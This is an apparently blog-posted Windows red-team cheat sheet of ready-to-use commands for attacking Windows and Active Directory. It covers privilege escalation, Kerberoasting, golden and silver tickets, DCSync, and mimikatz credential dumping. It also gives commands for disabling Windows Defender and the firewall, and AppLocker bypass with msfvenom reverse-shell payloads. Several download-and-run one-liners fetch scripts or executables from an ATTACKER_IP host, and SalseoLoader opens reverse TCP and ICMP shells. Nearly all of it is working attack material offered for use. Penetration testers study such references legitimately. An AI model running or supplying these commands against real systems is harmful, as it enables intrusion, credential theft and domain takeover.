Windows Red Team Cheat Sheet Posted on 2019-07-16 Recon
# Systeminfo
systeminfo
hostname
# Especially good with hotfix info
wmic qfe get Caption,Description,HotFixID,InstalledOn
# What users/localgroups are on the machine?
net users
net localgroups
net user morph3
# To see domain groups if we are in a domain
net group /domain
net group /domain
# Network information
ipconfig /all
route print
arp -A
# To see what tokens we have
whoami /priv
# Recursive string scan
findstr /spin "password" *.*
# Running processes
tasklist /SVC
# Network connections
netstat -ano
# Search for writeable directories
dir /a-r-d /s /b
### Some good one-liners
# Obtain the path of the executable called by a Windows service (good for checking Unquoted Paths):
sc query state= all | findstr "SERVICE_NAME:" >> a & FOR /F "tokens=2 delims= " %i in (a) DO @echo %i >> b & FOR /F %i in (b) DO @(@echo %i & @echo --------- & @sc qc %i | findstr "BINARY_PATH_NAME" & @echo.) & del a 2>nul & del b 2>nul
Elevation of Privileges General
# PowerShellMafia
# Use always dev branch others are shit.
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
powershell.exe -c "Import-Module C:\Users\Public\PowerUp.ps1; Invoke-AllChecks"
powershell.exe -c "Import-Module C:\Users\Public\Get-System.ps1; Get-System"
# Sherlock
https://github.com/rasta-mouse/Sherlock
# Unquoted paths
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
Kerberoast
– For kerberos to work, times have to be within 5 minutes between attacker and victim.
# Rubeus
.\.rubeus.exe kerberoast /creduser:ecorp\morph3 /credpassword:pass1234
# List available tickets
setspn.exe -t evil.corp -q */*
# List cached tickets
Invoke-Mimikatz -Command '"kerberos::list"'
powershell.exe -c "klist"
powershell.exe -c "Import-Module C:\Users\Public\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command '"kerberos::list"'"
# Request tickets
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"
# Requesting from outside
python GetUserSPNs.py -request ECORP/morph3:supersecurepassword@127.0.0.1
# Export tickets
powershell.exe -c "Import-Module C:\Users\Public\Invoke-Kerberoast.ps1; Invoke-Kerberoast -OutputFormat Hashcat"
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Crack Tickets
python tgsrepcrack.py /usr/share/wordlists/rockyou.txt ticket.kirbi
Juicy Potato
https://github.com/ohpe/juicy-potato/releases Pick one CLSID from here according to your system https://github.com/ohpe/juicy-potato/tree/master/CLSID
Required tokens SeAssignPrimaryTokenPrivilege SeImpersonatePrivilege
C:\Windows\Temp\JuicyPotato.exe -p cmd.exe -a "/c whoami > C:\Users\Public\morph3.txt" -t * -l 1031 -c {d20a3293-3341-4ae8-9aaf-8e397cb63c34}
Stored Credential
# To check if there is any stored keyscmdkey /list
# Using them
runas /user:administrator /savecred "cmd.exe /k whoami"
Impersonating Tokens with meterpreter
use incognito
list_tokens -u
impersonate_token NT-AUTHORITY\System
Lateral Movement
PsExec, SmbExec, WMIExec, RDP, PTH in general. Since windows gave support to OpenSSH we should also consider SSH. Mimikatz Ticket PTH
Enable-PSRemoting
mimikatz.exe '" kerberos:ptt C:\Users\Public\ticketname.kirbi"' "exit"
Enter-PSSession -ComputerName ECORP
Winrm Session
$pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('ECORP.local\morph3', $pass)
Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
PTH with Mimikatz
Invoke-Mimikatz -Command '"sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:command"'
Database Links
# PowerUpSQL
https://github.com/NetSPI/PowerUpSQL
Get-SQLServerLink -Instance server -Verbose
powershell.exe -c "Import-Module C:\Users\Public\PowerUpSQL.ps1; Invoke-SQLEscalatePriv -Verbose -Instance ECORP\sql"
# To see servers
select srvname from master..sysservers;
# Native
Get-SQLServerLinkCrawl -Instance server -Query "exec master..xp_cmdshell 'whoami'"
# Linked database tables
select * from openquery("ECORP\FOO", 'select TABLE_NAME from FOO.INFORMATION_SCHEMA.TABLES')
# You can also use meterpreter module exploit/windows/mssql/mssql_linkcrawler
# With meterpreter module you can find linked databases and if you are admin on them
# You can do a query and try to enable xp_cmpshell on that server
select * from openquery("server",'select * from master..sysservers') EXECUTE AS USER = 'internal_user' ('sp_configure "xp_cmdshell",1;reconfigure;') AT "server"
Golden and Silver Tickets
Keys depend of ticket : –> for a Golden, they are from the krbtgt account; –> for a Silver, it comes from the “computer account” or “service account”.
# Golden Ticket
# Extract the hash of the krbtgt user
lsadump::dcsync /domain:evil.corp /user:krbtgt
lsadump::lsa /inject
lsadump:::lsa /patch
lsadump::trust /patch
# creating the ticket
# /rc4 or /krbtgt - the NTLM hash
# /sid you will get this from krbtgt dump
# /ticket parameter is optional but default is ticket.kirbi
# /groups parameter is optional but default is 513,512,520,518,519
# /id you can fake users and supply valid Administrator id
kerberos::golden /user:morph3 /domain:evil.corp /sid:domains-sid /krbtgt:krbtgt-hash /ticket:ticket.kirbi /groups:501,502,513,512,520,518,519
# After this , final ticket must be ready
# Purge the currently cached kerberos ticket
kerberos::purge
kerberos::ptt golden.tck # you can also add /ptt at the kerberos::golden command
# You can now verify that your ticket is in your cache
powershell.exe -c "klist"
# Verify that golden ticket is working
dir \\DC\C$
psexec.exe \\DC cmd.exe
# Silver Ticket
# Silver Ticket allows escalation of privileges on DC
# /target t he server/computer name where the service is hosted (ex: share.server.local, sql.server.local:1433, ...)
# /service - The service name for the ticket (ex: cifs, rpcss, http, mssql, ...)
kerberos::golden /user:morph3 /domain:domain /sid:domain-sid /target:evilcorp-sql102.evilcorp.local.1433 /service:MSSQLSvc /rc4:service-hash /ptt /id:1103
sqlcmd -S evilcorp-sql102.evilcorp.local
select SYSTEM_USER;
GO
kerberos::golden /user:JohnDoe /id:500 /domain:targetdomain.com /sid:S-1-5-21-1234567890-123456789-1234567890 /target:targetserver.targetdomain.com /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt
AD Attacks DC Shadow
DC Shadow attack aims to inject malicious Domain Controlllers into AD infrastructure so that we can dump actual AD members.
#Find sid for that user
wmic useraccount where (name='administrator' and domain='%userdomain%') get name,sid
#This will create a RPC Server and listen
lsadump::dcshadow /object:"CN=morph3,OU=Business,OU=Users,OU=ECORP,DC=ECORP,DC=local" /attribute:sidhistory /value:sid
# Run this from another mimikatz
lsadump::dcshadow /push
# After this unregistration must be done
# Relogin
lsadump::dcsync /domain:ECORP.local /account:krbtgt
# Now you must have krbtgt hash
https://attack.stealthbits.com/how-dcshadow-persistence-attack-works
DC Sync
#####
lsadump::dcsync /domain:domain /all /csv
lsadump::dcsync /user:krbtgt
#####
https://gist.github.com/monoxgas/9d238accd969550136db
powershell.exe -c "Import-Module .\Invoke-DCSync.ps1; Invoke-DCSync -PWDumpFormat"
#####
python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
python secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit LOCAL
Bypass-Evasion Techniques Powershell Constrained Language Bypass
powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')
PSByPassCLM
Windows Defender
sc config WinDefend start= disabled
sc stop WinDefend
# Powershell
Set-MpPreference -DisableRealtimeMonitoring $true
# Remove definitions
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Firewall
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off
Ip Whitelisting
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
Applocker ByPass
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md
# Multistep process to bypass applocker via MSBuild.exe:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.56 LPORT=9001 -f csharp -e x86/shikata_ga_nai -i > out.cs
# Replace the buf-sc and save it as out.csproj
https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20shellcode.xml
Invoke-WebRequest "http://ATTACKER_IP/payload.csproj" -OutFile "out.csproj"; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe .\out.csproj
GreatSCT
# This also needs Veil-Framework
python GreatSCT.py --ip 192.168.1.56 --port 443 -t Bypass -p installutil/powershell/script.py -c "OBFUSCATION=ascii SCRIPT=/root/script.ps1"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload1.exe
python3 GreatSCT.py -t Bypass -p regasm/meterpreter/rev_tcp --ip 192.168.1.56 --port 9001
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll
EvilSalsa
#Preparing payloads
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt
EncrypterAssembly.exe EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt
#Executing payload
SalseoLoader.exe password http://ATTACKER_IP/evilsalsa.dll.txt reversetcp ATTACKER_IP 9001
# Reverse icmp shell
python icmpsh_m.py "ATTACKER_IP" "VICTIM_IP"
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ATTACKER_IP
Miscellaneous Changing Permissions of a file
icacls text.txt /grant Everyone:F
Downloading files
IEX (New-Object System.Net.WebClient).DownloadString("http://ATTACKER_IP/rev.ps1")
(New-Object System.Net.WebClient).DownloadFile("http://ATTACKER_SERVER/malware.exe", "C:\Windows\Temp\malware.exe")
Invoke-WebRequest "http://ATTACKER_SERVER/malware.exe" -OutFile "C:\Windows\Temp\malware.exe"
Adding user to Domain admins
Add-DomainGroupMember -Identity 'Domain Admins' -Members morph3 -Verbose
Base64 Decode
certutil -decode foo.b64 foo.exe
Network sharing
# Local share
net share
wmic share get /format:list
# Remote share
net view
net view \\dc.ecorp.foo /all
wmic /node: dc.ecorp.foo share get
# Mounting share
net use Z: \\127.0.0.1\C$ /user:morph3 password123
Port Forwarding
# Port forward using plink
plink.exe -l morph3 -pw pass123 192.168.1.56 -R 8080:127.0.0.1:8080
# Port forward using meterpreter
portfwd add -l attacker-port -p victim-port -r victim-ip
portfwd add -l 3306 -p 3306 -r 192.168.1.56
Powershell Portscan
0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(VICTIM_IP,$_)) "Port $_ is open!"} 2>$null
Recovering Powershell Secure String
######
$user = "morph3"
$file = "morph3-pass.xml"
$cred= New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, (Get-Content $file | ConvertTo-SecureString)
Invoke-Command -ComputerName ECORP -Credential $cred -Authentication credssp -ScriptBlock { whoami }
######
[System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR("string"))
######
$Ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($password)
$result = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($Ptr)
[System.Runtime.InteropServices.Marshal]::ZeroFreeCoTaskMemUnicode($Ptr)
$result
Injecting PowerShell scripts Into sessions
Invoke-Command -FilePath scriptname -Sessions $sessions
Enter-PSSession -Session $sess
Enable RDP
# CMD
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
# Powershell
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
# Optional
net localgroup "Remote Desktop Users" morph3 /add
# Reruling firewall
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow
Decrypting EFS files with Mimikatz
Follow the link here How to Decrypt EFS Files
privilege::debug
token::elevate
crypto::system /file:"C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\thecert" /export
dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id"
# Clear text password
dpapi::masterkey /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\SID\masterkey" /password:pass123
# After this command you must have the exported .der and .pvk files
dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id" /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b
openssl x509 -inform DER -outform PEM -in blah.der -out public.pem
openssl rsa -inform PVK -outform PEM -in blah.pvk -out private.pem
openssl pkcs12 -in public.pem -inkey private.pem -password pass:randompass -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Import the certificate
certutil -user -p randompass -importpfx cert.pfx NoChain,NoRoot
type "C:\Users\Administrator\Documents\encrypted.txt"
Post exploitation - information gathering Reading Event Logs
User must be in “Event Log Reader” group Follow this link
Get-WinEvent -ListLog *
# Listing logs of a specific user
$cred = Get-Credentials
Get -WinEvent -ListLog * -ComputerName AD1 -Credentials $cred
# Reading Security logs
(Get-WinEvent -FilterHashtable @{LogName = 'Security'} | Select-Object @{name='NewProcessNam
e';expression={ $_.Properties[5].Value }}, @{name='CommandLine';expression={
$_.Properties[8].Value }}).commandline
Password Dump
# Metasploit
post/windows/gather/enum_chrome
post/multi/gather/firefox_creds
post/firefox/gather/cookies
post/firefox/gather/passwords
post/windows/gather/forensics/browser_history
post/windows/gather/enum_putty_saved_sessions
# Empire
collection/ChromeDump
collection/FoxDump
collection/netripper
credentials/sessiongopher
# mimikatz
privilege::debug
sekurlsa::logonpasswords
NTDS.dit dump
secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit -outputfile /tmp/result local
python crackmapexec.py 192.168.1.56 -u morph3 -p pass1234 -d evilcorp.com --ntds drsuapi
# on DC, lsass.exe can dump hashes
lsadump::lsa /inject
Summary of tools Ad Environment
icebreaker bloodhound Post Exploitation
Empire DeathStar CrackMapExec - CME Covenant Rubeus SharpDPAPI ByPass
Ebowla Veil-Framework PsBypassCLM Swiss Knife
impacket